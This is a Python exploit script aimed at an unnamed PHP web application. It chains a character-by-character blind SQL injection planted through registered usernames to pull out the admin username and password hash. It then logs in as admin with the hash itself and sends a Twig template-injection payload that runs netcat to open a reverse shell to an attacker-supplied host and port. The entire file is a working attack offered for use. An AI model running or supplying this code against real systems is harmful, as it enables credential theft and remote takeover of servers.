import requests
import sys
import hashlib
import urllib
import os

proxies = {'http':'127.0.0.1:8080', 'http':'127.0.0.1:8080'} 

def sha1(password):
	m= hashlib.sha1()
	m.update(password)
	return m.hexdigest()
 
 
def gen_hash(sha1password, token):
	m= hashlib.sha1()
	m.update(sha1password + token)
	return m.hexdigest()	

										
def register(ip,inj_str):							# Getting registered
	for j in range(32, 126):
		
		target = "http://%s//register.php" % (ip) 
		password = 'password'
		passhashed = sha1(password)
		username = '%s' % (inj_str.replace("[CHAR]", str(j)))
		
		data = {
			"form_password_hidden" : passhashed,
			"username" : username,
			"password" : "",
			"register" : 'submit'	
		}
		
		r = requests.post(target, data=data, allow_redirects=True)
		res = r.text
		#if 'Registered' in res or 'registered' in res:
	
	return True	
	
										
def login(ip, inj_str):								# Logging in
	
	for j in range(32, 126):
		target = "http://%s//login.php" % (ip)
		token = 'token'
		password = 'password'
		sha1password = sha1(password)
		hashed = gen_hash(sha1password, token)
		username = '%s' % (inj_str.replace("[CHAR]", str(j)))
			
		data = {
			"form_password_hidden" : hashed,
			"username": username,
			"password" : "",
			"submit" : 'submit',
			"token" : 'token'
		}
		s  = requests.Session()
		r = s.post(target, data=data)
		res = r.text
		#status_code = r.status_code
		
		if 'welcome'in res or 'Welcome' in res:
			
			# open log files
			target = "http://%s//user_log.php" % (ip)
			r = s.get(target)
			content_lenght = int(r.headers['Content-Length'])
			res = r.text
			if "Date:" in res:
				return j
		#	if (content_lenght > 750):
		#		return j
						
	return False

def inject(r, inj, ip):
	extracted = ""
	for k in range(1, r):
		
		injection_string = "'or (ascii(substring(((%s)),%s,1)))=[CHAR]#" % (inj, k)
		register(ip,injection_string)
		retrieved_value = login(ip, injection_string)
		if(retrieved_value):
			extracted += chr(retrieved_value)
			extracted_char = chr(retrieved_value)
			sys.stdout.write(extracted_char)
			sys.stdout.flush()
		else:
			print "\n(+) done!"
			break
	return extracted
										#admin login
def admin_login(ip, username, password, LHOST, LPORT):
	target = "http://%s/admin/login.php" % (ip)
	token = 'token'

	hashed = gen_hash(password, token)
	data = {
			"form_password_hidden" : hashed,
			"username": username,
			"password" : "",
			"submit" : 'submit',
			"token" : 'token'
	}
	s  = requests.Session()
	r = s.post(target, data=data)
	res = r.text
	if 'welcome'in res or 'Welcome' in res:										
		print "(+) Login Successful with Admin User"			
		print "(+) Login using hash was successful"
	else:
		print "(-) Login Failed"
		exit()
												#getting shell(SSTI attack)
	print "(+) Getting reverse shell"
	notice = ('Press enter if you have opened port on %s ') % LPORT
	openShell = raw_input(notice)
	target = "http://%s/admin/welcome.php" % (ip)
	payload = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nc -nv %s %s -e /bin/bash")}}' % (LHOST, LPORT)
	data = {
			"name" : payload,
			"submit" : 'submit',	
	}
	
	r = s.post(target, data=data)
	res = r.text
	return

def main():
    if len(sys.argv) != 4:
        print "(+) usage: %s <target> <LHOST> <LPORT>" % sys.argv[0]
        print '(+) eg: %s localhost 192.168.0.5 5555 ' %sys.argv[0]
    	sys.exit(-1)

    ip = sys.argv[1]
    LHOST = sys.argv[2]
    LPORT = sys.argv[3]
  
    print "(+) Retrieving username...."
    query = "select username from admin where id=1"
    username = inject(40, query, ip)
    print "(+) Retrieving Password hash...."
    query = 'select password from admin where username = \'%s\' limit 1' % (username)
    password = inject(50, query, ip)
    print "(+) Credentials: %s / %s" % (username, password)
    print "(+) Logging in %s account" % (username)
    admin_login(ip, username, password, LHOST, LPORT)
    print "(+) All done :)"

if __name__ == "__main__":
    main()
